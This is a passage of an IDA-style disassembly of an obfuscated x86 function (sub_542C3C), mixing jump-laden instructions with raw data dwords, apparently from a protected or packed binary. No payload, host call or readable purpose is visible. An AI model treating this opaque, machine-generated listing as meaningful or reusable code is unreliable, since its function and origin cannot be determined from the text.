[esp+34h+var_34], eax jmp loc_54E574 ; --------------------------------------------------------------------------- loc_54C431: ; CODE XREF: sub_542C3C+E54Ej push 3A67h mov [esp+38h+var_38], ebp mov ebp, 66787119h add edi, ebp pop ebp push ecx mov ecx, 769938FEh not ecx sub ecx, 7D7D5155h sub edi, ecx mov ecx, [esp+38h+var_38] add esp, 4 add esi, edi pop edi xor edi, esi mov esi, [esp+30h+var_30] jmp loc_546EF6 ; --------------------------------------------------------------------------- loc_54C467: ; CODE XREF: sub_542C3C+5649j sub ch, 1 jmp loc_548D07 ; --------------------------------------------------------------------------- db 5Ah dd 0FFF03BE9h, 80D5F6FFh, 0EC28C8C5h, 15A2E9h, 0E9022C00h dd 561Fh, 0E9240489h, 0A38h, 4244481h, 47525753h, 4246C81h dd 3C6A1131h, 4246C01h, 3011E9h, 0C2815E00h, 4, 8B241487h dd 0C4812424h, 4, 5A2434FFh, 4EC81h, 0C890000h, 0C8B5424h dd 4C48324h, 4EC81h, 4890000h, 2B65B824h, 554808AFh, 0AF2B60BDh dd 0CD41E908h, 535CFFFFh, 0FFB75DE9h, 3CCE81FFh, 0F76B715Ah dd 0B1B1E9D6h, 0C483FFFFh, 0A774E904h, 685EFFFFh, 6039h dd 56240C89h, 4D3F68BEh, 48EAE91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C51A: ; CODE XREF: sub_542C3C+FCFBj shl ecx, 6 jmp loc_5513C4 ; --------------------------------------------------------------------------- dw 0C280h dd 25C28034h, 148BD508h, 4C48124h, 80000000h, 77E9A4E5h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C53B: ; CODE XREF: sub_542C3C+E741j push 28B3h mov [esp+40h+var_40], ebx jmp loc_547A49 ; --------------------------------------------------------------------------- dd 4ED6BF57h, 67E957ABh, 54FFFFE7h, 4C5815Dh, 83000000h dd 0FF5504C5h, 8B042474h, 0C481242Ch, 4, 8B24048Fh, 4872424h dd 0F647E924h, 0E9C0FFFFh, 0E9C9FE08h, 120Fh, 93E9E089h dd 89FFFFDEh, 4C681E6h, 0E9000000h, 0FFFFF438h, 0C02475BBh dd 0D655E946h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C5A2: ; CODE XREF: sub_542C3C+94DFj add ebx, 4 xor ebx, [esp+38h+var_38] xor [esp+38h+var_38], ebx xor ebx, [esp+38h+var_38] mov esp, [esp+38h+var_38] shr eax, 12h xor eax, ecx jmp loc_551323 ; --------------------------------------------------------------------------- dw 5566h dd 8FBA6652h, 0D5896609h, 8124148Bh, 4C4h, 6C296600h, 5D660224h dd 24348B66h, 6602C483h, 98FC681h, 0EE81665Fh, 3166DB28h dd 2434FFF0h, 4C4835Eh, 8904EC83h, 0BE662434h, 9E97720h dd 0BF00003Bh, 2558F82Dh, 815FF929h, 3171ECC3h, 81CB295Ch dd 3171ECEBh, 0E951595Ch, 1855h, 8324048Bh, 52E904C4h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C62B: ; CODE XREF: sub_542C3C+5FCBj pop eax xchg ebx, [esp+30h+var_30] jmp loc_54D381 ; --------------------------------------------------------------------------- loc_54C634: ; CODE XREF: sub_542C3C+F5CAj pop edx push ebx push eax mov ah, 0B2h mov bl, 42h sub bl, 92h sub bl, ah jmp loc_548245 ; --------------------------------------------------------------------------- db 2Dh, 8Dh, 63h dd 0D8F7544Eh, 0C57DB735h, 58C129BFh, 5C240C87h, 54243C89h dd 4C7815Fh, 81000000h, 4C7h, 0D62DE900h, 15AFFFFh, 0CAD3E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C676: ; CODE XREF: sub_542C3C+479Aj mov [esp+24h+var_24], ecx mov ecx, esp jmp loc_54CCC4 ; --------------------------------------------------------------------------- loc_54C680: ; CODE XREF: sub_542C3C+B640j pop esp inc word ptr [esp+20h+var_20] pushf jmp loc_546C7A ; --------------------------------------------------------------------------- db 52h dd 0D34204BAh, 90F28165h, 0E9110A31h, 0FFFFEF9Bh, 0B951525Bh dd 79C66E1Bh, 8108E9C1h, 6A6D63E9h, 68D1F70Bh, 2A80h, 0BD242C89h dd 30836E46h, 3CE9E909h, 81000030h, 0FD899DE9h, 0D266E9E8h dd 12DFFFFh, 0C1000000h, 0D8F708E8h, 0FFF350E9h, 3851BBFFh dd 0C3816FD4h, 0FFFFFFFFh, 0EB81E3D1h, 0CEA961C7h, 0FFFC7AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C6F5: ; CODE XREF: sub_542C3C+C6BDj push eax mov eax, 1FCA2EF9h jmp loc_54DE66 ; --------------------------------------------------------------------------- dd 0E9A6E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C706: ; CODE XREF: sub_542C3C+F2A9j push eax mov eax, esp push ebx mov ebx, 4 add eax, ebx jmp loc_54C326 ; --------------------------------------------------------------------------- loc_54C716: ; CODE XREF: sub_542C3C+DEE3j mov esp, [esp+30h+var_30] not ecx inc ecx sub ecx, 0A9A5AC1Ah mov [edi+24h], ecx mov ecx, [esp+30h+var_30] jmp loc_54C852 ; --------------------------------------------------------------------------- db 81h, 0EBh, 95h dd 1A608D4h, 0F3095BDEh, 0EB814B5Eh, 0FBE43DEh, 0C381DBF7h dd 6BBF3C53h, 3FA0EB81h, 0FB0162CCh, 3FA0C381h, 0EC8362CCh dd 240C8904h, 0DC68C188h, 0E900003Dh, 0FFFFDDB6h, 8324148Bh dd 0E82804C4h, 0FFD7CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C775: ; CODE XREF: sub_542C3C+60CDj pop ecx xor dh, 4Ch sub al, 3Eh sub al, dh push ecx mov cl, 71h not cl push edx mov dh, 91h jmp loc_5491CD ; --------------------------------------------------------------------------- dw 248Bh dd 24042024h, 0A4E4E99Ch, 54BBFFFFh, 81273E07h, 601382C3h dd 33E1E90Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C7A6: ; CODE XREF: sub_542C3C+D69Fj pop eax jmp loc_5495D2 ; --------------------------------------------------------------------------- dd 4C481h, 37E90000h, 8100003Dh, 0E094BC3h, 2434FF53h dd 0E0895058h, 405h, 4BB5300h, 1000000h, 5CBBE9D8h, 0D9880000h dd 81241C8Bh, 4C4h, 1AEEE900h, 0E5800000h, 82B252B0h, 0E934B353h dd 0FFFFAA5Ch, 0E9242489h, 0FFFFA4A5h ; --------------------------------------------------------------------------- loc_54C7FC: ; CODE XREF: sub_542C3C+C235j add eax, edi push edi mov edi, 295301A6h inc edi neg edi xor edi, 186D6E42h jmp loc_552846 ; --------------------------------------------------------------------------- dw 0C781h dd 41651D95h, 0FFB012E9h, 50C501FFh, 0E4FEFB8h, 0C0B0E940h dd 481FFFFh, 424h, 0B9515E00h, 30F73B05h, 8108E1C1h, 1C1h dd 0E64BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C846: ; CODE XREF: sub_542C3C+C12Aj mov esp, [esp+44h+var_44] mov [esp+44h+var_44], ebx push eax jmp loc_5476F6 ; --------------------------------------------------------------------------- loc_54C852: ; CODE XREF: sub_542C3C+9AECj push esi mov esi, esp add esi, 4 jmp loc_54CF00 ; --------------------------------------------------------------------------- dd 0E929EE80h, 0FFFFF3A3h ; --------------------------------------------------------------------------- loc_54C868: ; CODE XREF: sub_542C3C+EC1Bj and eax, edi mov edi, [esp+34h+var_34] push eax mov eax, esp add eax, 4 push ebp jmp loc_54D39F ; --------------------------------------------------------------------------- db 66h dd 66C8B60Fh, 6660B868h, 0E9240C89h, 0FFFFA3EEh, 243C895Ch dd 3F7F68h, 0AA2AE900h, 5D68FFFFh, 8900004Bh, 0E95B2434h dd 0FFFFC91Dh, 0AE9B850h, 448128B8h, 0E640824h, 44294E81h dd 6C810824h, 0E640824h, 1584E81h, 0E904244Ch, 67D4h ; --------------------------------------------------------------------------- loc_54C8CC: ; CODE XREF: sub_542C3C+1044Ej sub ecx, 207563D0h add ecx, esi jmp loc_54D475 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 8104C483h, 4C6h, 0AF8DE900h, 0EE81FFFFh, 1D1419E4h dd 37E9CE01h, 81FFFFC7h, 6B1881C3h, 0B7EB8149h, 5038B156h dd 0D111D0B8h, 620AE90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C90E: ; CODE XREF: sub_542C3C+7213j not ebx jmp loc_54C423 ; --------------------------------------------------------------------------- loc_54C915: ; CODE XREF: sub_542C3C+6A6Dj sub esp, 4 mov [esp+34h+var_34], ecx push esp jmp loc_54B6F0 ; --------------------------------------------------------------------------- dd 11F18149h, 1525311h, 875B59CEh, 15E92434h, 29FFFFC2h dd 0E95F387Ah, 0FFFFD842h, 8324048Fh, 59042404h, 0AD9CE952h dd 0DFF7FFFFh, 0FFE16FE9h, 1C77FFFFh, 411589Dh, 0E6E99C24h dd 66FFFFB6h, 0E9241489h, 0FFFFDC54h, 75C868h, 0A431E900h dd 0C531FFFFh, 0ECB85058h, 0C135166Fh, 0EFE902E8h, 0F7000012h dd 0E188E9D2h, 0B951FFFFh, 15F2E33Bh, 164CE9h, 1C77FF00h dd 6659669Dh, 9C241CD3h, 0FFA2D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C9A9: ; CODE XREF: sub_542C3C+72F6j pop edx add eax, edi sub eax, 75CE1485h add [eax], edx jmp loc_547BAD ; --------------------------------------------------------------------------- loc_54C9B8: ; CODE XREF: sub_542C3C+F450j pop edi push esi push [esp+38h+var_34] pop esi pop [esp+38h+var_38] pop esp mov [esp+30h+var_30], eax xchg eax, [esp+30h+var_30] not eax jmp loc_552C88 ; --------------------------------------------------------------------------- dd 57BF575Bh, 0D13D0379h, 7CF781EFh, 0E90D8958h, 2BF9h dd 0F39D0548h, 0C2096E6Dh, 0FAEA8158h, 1A157FFh, 2434FFD0h dd 0E389535Ah, 4C381h, 0C3830000h, 241C8704h, 2C0835Ch dd 31240433h, 0AFE92404h, 57000045h, 6F77B968h, 0EFC15F53h dd 4FEFD103h, 0FFF386E9h, 0A24CE9FFh, 47E9FFFFh, 8BFFFFA2h dd 0E957241Ch, 996h, 0F1F28059h, 148BD028h, 4C48124h, 2C000000h dd 57CE92Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CA52: ; CODE XREF: sub_542C3C+E64Aj pop esp sub [edi+24h], ebp mov ebp, [esp+2Ch+var_2C] push ebp jmp loc_552C9D ; --------------------------------------------------------------------------- db 0B4h dd 2FEB80B4h, 52E9E328h, 0ADFFFFD2h, 585FE9h, 58C23100h dd 815AD531h, 72634BC5h, 4629E989h, 0EBD0000h, 312FF3D0h dd 242C8BEEh, 0E904C483h, 0FFFFFE06h, 8B241433h, 5F212424h dd 2434FF1Ch, 0DC67E95Bh, 0D6F7FFFFh, 5007EEC1h, 36B76853h dd 435B6F5Dh, 0ED14E943h, 0C380FFFFh, 93EB8001h, 284CB652h dd 24148BF3h, 4C481h, 8AE90000h, 35FFFFB1h, 0E817BD09h dd 5286E9h, 83596600h, 148904ECh, 5AB15124h, 8059CA88h dd 506601EAh, 0FFD024E9h, 240C33FFh, 0FFB902E9h, 0BAE959FFh dd 0BEFFFFA2h, 6BB558C5h, 50C4EE81h, 0CE8152C2h, 3A424E91h dd 0FFA929E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CB19: ; CODE XREF: sub_542C3C+6F52j mov esi, edi jmp loc_54BB8E ; --------------------------------------------------------------------------- dd 8904EC83h, 32E9241Ch, 5CFFFFB6h, 0E95BDE89h, 1FD9h dd 0E9243C89h, 0FFFFFAC7h, 505F801h, 5F067A56h, 6C0D68h dd 243C8900h, 0FFEC8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CB51: ; CODE XREF: sub_542C3C+E1C3j xor al, 0C1h jmp loc_5475D7 ; --------------------------------------------------------------------------- loc_54CB58: ; CODE XREF: sub_542C3C+BEB0j xor edx, [esp+2Ch+var_2C] xor [esp+2Ch+var_2C], edx xor edx, [esp+2Ch+var_2C] mov esp, [esp+2Ch+var_2C] or byte ptr [esp+2Ch+var_2C], al pushf jmp loc_546C7A ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 2904C483h, 5A042454h, 5224048Bh, 0FFEFD4E9h, 240433FFh dd 1C7815Ch, 0E9000000h, 0FFFFDBCDh, 0CD80D5F6h, 6E5C0D3h dd 0FFDCACE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CB9D: ; CODE XREF: sub_542C3C+6C38j pop edx push esi jmp loc_55151B ; --------------------------------------------------------------------------- dd 5E2434FFh, 648BE9h, 15E95600h, 0BB000008h, 54D835FDh dd 455BDD31h, 2F2BCD81h, 11E90047h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CBC7: ; CODE XREF: sub_542C3C+C4ADj dec edi xchg edi, ebp not ebp push 65DAh mov [esp+38h+var_38], edx push 33751932h pop edx jmp loc_548BCA ; --------------------------------------------------------------------------- loc_54CBDF: ; CODE XREF: sub_542C3C+FDFAj sub ecx, 2F6DDC3Bh mov esi, ecx pop ecx jmp loc_548143 ; --------------------------------------------------------------------------- aIqSP db '‰ï]é+P',0 dd 240C8B00h, 4C481h, 0D2E90000h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC03: ; CODE XREF: sub_542C3C+DF7Cj add edx, 19F970FCh shl edx, 6 sub edx, 0E0A9D545h mov ebp, edx jmp loc_54C3B2 ; --------------------------------------------------------------------------- loc_54CC19: ; CODE XREF: sub_542C3C+D6AAj add ebp, 4 push ecx mov ecx, 508377D2h not ecx push edx jmp loc_54E2A2 ; --------------------------------------------------------------------------- loc_54CC2D: ; CODE XREF: sub_542C3C+94C1j xchg edx, [esp+34h+var_34] jmp loc_549477 ; --------------------------------------------------------------------------- db 81h, 0C4h, 2 dd 30000000h, 0C0B60FC3h, 24148B66h, 57E08950h, 7A5307BFh dd 0E320E934h, 0E961FFFFh, 2496h, 2404FF5Ch, 0A018E99Ch dd 55AFFFFh, 1F64220Ch, 0C2DE801h, 8B1F6422h, 0C481242Ch dd 4, 2B85056h, 89000000h, 574DE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CC86: ; CODE XREF: sub_542C3C+E372j jz loc_5496A2 push dword ptr [edi+28h] sub [esp+38h+var_38], 2E3903D7h mov eax, [esp+38h+var_38] add esp, 4 push ecx jmp loc_54D062 ; --------------------------------------------------------------------------- dd offset dword_4F0844+124h dw 8900h dd 2BE2434h, 89000000h, 0FD015EF7h, 1EACE9h, 56685200h dd 0E95C6C31h, 0FFFFA09Bh ; --------------------------------------------------------------------------- loc_54CCC4: ; CODE XREF: sub_542C3C+9A3Fj push eax push 72BE741Ah pop eax jmp loc_54E122 ; --------------------------------------------------------------------------- dd 276A9405h, 7C146851h, 3C890000h, 5C19BF24h, 1E93028h dd 1FFFFE0h, 0BA055BD8h, 0E913B849h, 1E93h, 24048B66h dd 325568h, 241C8900h, 115468h, 24248900h, 4240481h, 0E9000000h dd 0FFFFDFF9h ; --------------------------------------------------------------------------- loc_54CD14: ; CODE XREF: sub_542C3C+E45Fj and edi, ecx pop ecx xor edi, 52C22F6Dh add edi, 0AD3DB397h jmp loc_54D817 ; --------------------------------------------------------------------------- dd 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi jmp loc_548190 ; --------------------------------------------------------------------------- db 52h dd 4BAh, 5AD60100h, 2EE81h, 34870000h, 89665C24h, 10B5240Ch dd 8B66EB28h, 0C481240Ch, 2, 0FFDA8DE9h, 242489FFh, 4240481h dd 5B000000h, 49DEE9h, 5C18100h, 0E95BEC68h, 4595h, 614BD55h dd 0D5F70359h, 6E5C145h, 56ECF581h, 0E5816487h, 27A12A28h dd 2824ED81h, 0EE010521h, 4C6815Dh, 87000000h, 815C2434h dd 2C6h, 0CA0DE900h, 6866FFFFh, 89660CD5h, 30E92414h, 81000055h dd 4C5h, 4ED8300h, 4D3E9h, 24348700h, 36F0E9h, 20966800h dd 97E90000h, 0FFFFF0h, 2434FFF4h, 0E924148Bh, 0FFFFE75Ah dd 0D5E7815Fh, 81283B72h, 5156DEF7h, 0FAC7816Dh, 89BAACDBh dd 0C3895FF8h, 5284E9h, 2EFC100h, 0F781D7F7h, 0AAAE9F92h dd 33E9F929h, 55000040h, 2151BD66h, 5E94D66h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CE2B: ; CODE XREF: sub_542C3C+E09Fj add esi, ebx pop ebx and eax, esi mov esi, [esp+28h+var_28] add esp, 4 shr eax, 10h xor eax, ecx push 5BAh mov [esp+28h+var_28], eax push ebx jmp loc_548357 ; --------------------------------------------------------------------------- db 5Dh, 57h, 0E9h dd 1D7Ch, 35FFC083h, 78B7405Bh, 0BE56D0F7h, 421B0FE7h dd 0E901C683h, 4829h, 3304C483h, 20E92434h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CE73: ; CODE XREF: sub_542C3C+9441j mov edi, 4 add ecx, edi pop edi push edi mov edi, 2 add ecx, edi push [esp+30h+var_30] pop edi add esp, 4 xor ecx, [esp+2Ch+var_2C] xor [esp+2Ch+var_2C], ecx xor ecx, [esp+2Ch+var_2C] pop esp rol byte ptr [esp+28h+var_28], cl pushf jmp loc_54F5BA ; --------------------------------------------------------------------------- db 59h, 0E9h, 14h dd 5FFFFFDAh, 31240433h, 4332404h, 24248B24h, 0FFABD8E9h dd 5AD520FFh, 0E973F580h, 499Ch ; --------------------------------------------------------------------------- loc_54CEC0: ; CODE XREF: sub_542C3C+6A3Aj shl ecx, 7 jmp loc_550C3A ; --------------------------------------------------------------------------- dd 0FF9DADE9h, 4C483FFh, 0E9241433h, 5B74h, 2490F581h dd 0E5C13961h, 1710E906h, 0B2520000h, 0BCC180FFh, 0FF9F59E9h dd 0C1815EFFh, 2, 0E9240C87h, 0FFFFDF22h ; --------------------------------------------------------------------------- loc_54CF00: ; CODE XREF: sub_542C3C+9C1Fj add esi, 4 jmp loc_54E242 ; --------------------------------------------------------------------------- dd 3E39F681h, 0BF572C92h, 73441748h, 5211E781h, 0BA520083h dd 0BEE7BC58h, 0FFF288E9h, 42D2F7FFh, 0D94CEA81h, 0EF81B120h dd 3C003420h, 0C781D701h, 3C003420h, 2BE565Ah, 1000000h dd 0FF575EF7h, 5F042474h, 5C24048Fh, 24042166h, 9D20E99Ch dd 0C87FFFFh, 0F828E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54A57C ; --------------------------------------------------------------------------- loc_54CF6A: ; CODE XREF: sub_542C3C+10269j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+38h+var_38] jmp loc_54C313 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 88241C89h, 8BDD88E3h, 4E9241Ch, 80FFFFBDh, 0F1E9E7C5h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CF9B: ; CODE XREF: sub_542C3C+9771j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+38h+var_38] pop esp push 7AB2h mov [esp+38h+var_38], esi mov esi, 75D214BEh neg esi push ebp push eax push 50B1353Bh mov eax, [esp+44h+var_44] add esp, 4 jmp loc_54AC81 ; --------------------------------------------------------------------------- dw 0D000h dd 8042B04h, 0F0C3805Ah, 8171C380h, 4ECh, 2F48E900h, 81580000h dd 1EFh, 5EFC100h, 4F18E9h, 243C8B00h, 0C104C483h, 0BE5607E7h dd 55F6DD02h, 94E9F701h, 8100004Dh, 0E2469EC7h, 0F9015937h dd 33BE565Fh, 0F7078702h, 1C681D6h, 0E9000000h, 0FFFFD866h dd 0C80061B1h, 0E9B90459h, 39E3h, 4C281h, 51E90000h, 68FFFFB3h dd 527Bh, 50240C89h, 74B533B0h, 0FFCB42E9h, 241C33FFh dd 33241C31h, 248B241Ch, 51EAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D062: ; CODE XREF: sub_542C3C+A061j push eax mov eax, 61115FFFh mov ecx, 0B34BDA7Ch add ecx, eax pop eax shl ecx, 3 push edx push ebx mov ebx, 45D564ACh jmp loc_5479B5 ; --------------------------------------------------------------------------- db 81h dd 1675E9E9h, 0B8505E60h, 5A5034ECh, 3504E0C1h, 0A5034EC4h dd 0E958C101h, 1749h ; --------------------------------------------------------------------------- loc_54D09C: ; CODE XREF: sub_542C3C+F735j mov edx, 2F437878h shr edx, 6 push edi push 0FF42F220h pop edi add edx, edi pop edi sub esp, 4 jmp loc_54B6B9 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 4BFh, 68525000h, 2FF37B2Dh, 0BEE2815Ah, 812B4E16h, 0A70F52EAh dd 0B913E950h, 1C87FFFFh, 0C895C24h, 0FBB25224h, 767E9h dd 0E9C70900h, 0FFFFFEF6h, 355EF009h, 840843B3h, 2958C129h dd 0C32959CBh, 8904EC83h, 0E189240Ch, 0FFBD16E9h, 5E1C68FFh dd 0C890000h, 36A86824h, 43E90000h, 5A000022h, 3805D8F7h dd 0E91CC906h, 0FFFFC8A7h, 0B67FE9ADh, 5351FFFFh, 7BE909B7h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D13B: ; CODE XREF: sub_542C3C+FC89j push edi mov edi, 7CE03DEAh jmp loc_547BB3 ; --------------------------------------------------------------------------- dw 0EE01h dd 5C05C681h, 34FF573Bh, 242C8B24h, 0E904C483h, 2938h ; --------------------------------------------------------------------------- loc_54D15C: ; CODE XREF: sub_542C3C+E25Cj pop ecx sub ecx, 51F107E4h push ecx mov eax, [esp+48h+var_48] add esp, 4 jmp loc_54EA2E ; --------------------------------------------------------------------------- db 87h dd 248B241Ch, 2BB5324h, 1000000h, 14875BDAh, 9D59E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D186: ; CODE XREF: sub_542C3C+D0EDj push [esp+44h+var_44] jmp loc_54F707 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 0C6815E54h, 4, 8704EE83h, 248B2434h, 9BE4E924h dd 34FFFFFFh, 0E9535824h, 4DA3h ; --------------------------------------------------------------------------- loc_54D1B4: ; CODE XREF: sub_542C3C+6E6Dj xor ebp, 0FD87C969h mov eax, ebp pop ebp xor ebp, eax pop eax mov edi, ebp pop ebp add edi, 5A12684Bh jmp loc_552707 ; --------------------------------------------------------------------------- loc_54D1CE: ; CODE XREF: sub_542C3C+91FEj shl edi, 4 shl edi, 4 jmp loc_549B70 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 8904EC83h, 0E789243Ch, 4C781h, 0BD550000h, 4, 11D3EF81h dd 0EF01691Ch, 1274B951h, 0E1817BF1h, 574103A0h, 0FFE877E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D209: ; CODE XREF: sub_542C3C+F4C0j add edi, 3D76CE4h mov ebx, [esp+10h+var_10] jmp loc_54EF7D ; --------------------------------------------------------------------------- db 66h dd 53D8005Bh, 0CB8054B3h, 5F4DE93Ch, 0E0890000h, 405h dd 4C08300h, 0E9240487h, 5AD9h, 5C6CE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D23E: ; CODE XREF: sub_542C3C+FE3Cj pop ebp push edi mov edi, 481A7811h xor ebp, edi pop edi mov edx, ebp pop ebp mov ebp, edx jmp loc_54F959 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 56000000h, 2BEh, 466CE900h, 0C7800000h, 0F8285978h dd 0C3805B66h, 68C30073h, 5669h, 51241489h, 0B533B353h dd 0D238E9B0h, 6858FFFFh, 3902h, 66240C89h, 663A2B68h dd 52240489h, 0E6D07EB6h, 0E9E9EE80h, 401Fh, 5C242C87h dd 0B1240C89h, 0D95EE997h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D2B2: ; CODE XREF: sub_542C3C+E93Fj xchg ecx, [esp+8+var_8] pop esp jmp loc_548516 ; --------------------------------------------------------------------------- loc_54D2BB: ; CODE XREF: sub_542C3C+B98Dj add esp, 4 xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], edi push esp jmp loc_54BE83 ; --------------------------------------------------------------------------- dw 0F66h dd 545102B6h, 72BE5659h, 0F76D8B43h, 0C1EE81DEh, 0C16EE42Fh dd 0E68103E6h, 37006322h, 621CEE81h, 0F1011400h, 286BE95Eh dd 0E7890000h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FF9969E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D311: ; CODE XREF: sub_542C3C+5E57j sub esi, ebx sub esi, 272C765Bh pop ebx add ebx, esi pop esi add ebx, 4 push 638Eh jmp loc_552943 ; --------------------------------------------------------------------------- dw 0B951h dd 2, 0EE9CE01h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D337: ; CODE XREF: sub_542C3C+CD26j sub esp, 4 mov [esp+28h+var_28], ecx mov ecx, 24h add ecx, edi push eax mov eax, 0 add eax, ecx add [eax], ebp jmp loc_548819 ; --------------------------------------------------------------------------- loc_54D353: ; CODE XREF: sub_542C3C+EDE9j sub [esp+2Ch+var_2C], 262E35D4h mov ebx, [esp+2Ch+var_2C] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp+30h+var_30] xor [esp+30h+var_30], ebp xor ebp, [esp+30h+var_30] pop esp add ebx, 262E35D4h jmp loc_5526B3 ; --------------------------------------------------------------------------- loc_54D381: ; CODE XREF: sub_542C3C+99F3j pop esp jmp loc_54B070 ; --------------------------------------------------------------------------- db 29h dd 243C8BF9h, 4C481h, 0B3E90000h, 8BFFFFDEh, 0C2E9243Ch db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D39F: ; CODE XREF: sub_542C3C+9C3Aj push edx mov edx, 4 mov ebp, edx pop edx add eax, ebp pop ebp jmp loc_55066B ; --------------------------------------------------------------------------- dd 0E904C483h, 153Ah, 24048F5Dh, 6624248Bh, 0E924048Bh dd 26FBh, 9E5B07BEh, 0DD2E960h, 5F540000h, 530E9h, 81D12900h dd 1A227CC1h, 5C36E96Eh, 0D6010000h, 240C8B5Ah, 0E904C483h dd 0FFFFC0C8h, 9D1C77FFh, 0D3665966h, 0E99C2414h, 2898h dd 0E904C483h, 0FFFFE8B2h ; --------------------------------------------------------------------------- loc_54D40C: ; CODE XREF: sub_542C3C+4CADj mov [esp+24h+var_24], esi push edx jmp loc_54EE1C ; --------------------------------------------------------------------------- loc_54D415: ; CODE XREF: sub_542C3C+5090j sub eax, 66FF5D6Bh jmp loc_54DAFE ; --------------------------------------------------------------------------- db 1 dd 0D8C681CEh, 814DB23Fh, 955FFDC6h, 5E95218h, 87000007h dd 66E92434h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D43B: ; CODE XREF: sub_542C3C+4F1Dj push 3269h mov [esp+3Ch+var_3C], ebx jmp loc_550FD3 ; --------------------------------------------------------------------------- dd 6804C483h, 4D16h, 0E9240489h, 0FFFF9822h, 6772BB53h dd 0E38174BBh, 71FE08D5h, 77E94Bh, 0EC830000h, 240C8904h dd 0FFC584E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D475: ; CODE XREF: sub_542C3C+9C98j add ecx, 207563D0h mov esi, [esp+3Ch+var_3C] add esp, 4 mov eax, [esp+38h+var_38] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_54F3E3 ; --------------------------------------------------------------------------- dd 7A7BD135h, 21BE5632h, 1EFA7D4h, 46E95EF0h, 0B8000016h dd 37AA01D0h, 2A7B2EBEh, 58C6296Ah, 3BE4DB8h, 5EF001EFh dd 5295E9h, 28685500h, 0E9716642h, 0FFFFDB92h, 0FF97A5E9h dd 7ECABFFFh, 0F989629Eh, 38D9E9h, 6E3C100h, 0DBF7DBF7h dd 0F6EAC381h, 0DA01D768h, 9CE9585Bh db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D4F7: ; CODE XREF: sub_542C3C+C5EFj add esp, 4 and ecx, ebx push [esp+34h+var_34] jmp loc_552E88 ; --------------------------------------------------------------------------- dd 158C331h, 0BF575BDAh, 4, 0E07EA81h, 0FA0168D4h, 0E07C281h dd 875F68D4h, 55C2414h, 19586BFCh, 0FFB156E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D52D: ; CODE XREF: sub_542C3C+E55Fj sub esp, 4 mov [esp+3Ch+var_3C], esi mov esi, 0D4A34D29h xor edi, esi jmp loc_54A6CB ; --------------------------------------------------------------------------- dw 1C89h dd 54E95024h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D54B: ; CODE XREF: sub_542C3C+B497j push esp jmp loc_54F59C ; --------------------------------------------------------------------------- db 2Dh, 7Ah, 2Eh dd 0CF050868h, 0E9462F31h, 0FFFFC3C2h, 33241C31h, 248B241Ch dd 3CD36624h, 7E99C24h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D573: ; CODE XREF: sub_542C3C+4388j xchg ebx, [esp+3Ch+var_3C] pop esp mov [esp+38h+var_38], edx mov edx, 4 add ebx, edx mov edx, [esp+38h+var_38] add esp, 4 push 398Eh mov [esp+38h+var_38], ecx mov ecx, 4 sub ebx, 3E796C87h add ebx, ecx add ebx, 3E796C87h pop ecx jmp loc_54FDBB ; --------------------------------------------------------------------------- dd 0FF96CDE9h, 94E781FFh, 0E95BDE73h, 2551h, 8804C483h dd 3A885AD7h, 0FFFC14E9h, 48156FFh, 0EE4DEA24h, 0EF815F65h dd 65EE4DEAh, 0C7815B5Eh, 1, 3515CF81h, 0E7C15ACFh, 0E0EF8105h dd 518311Eh, 16D93859h, 0FFFF5CE9h, 4F2168FFh, 0E95D3EFEh dd 0FFFFD5F8h, 536C981h, 95E9671Bh db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- 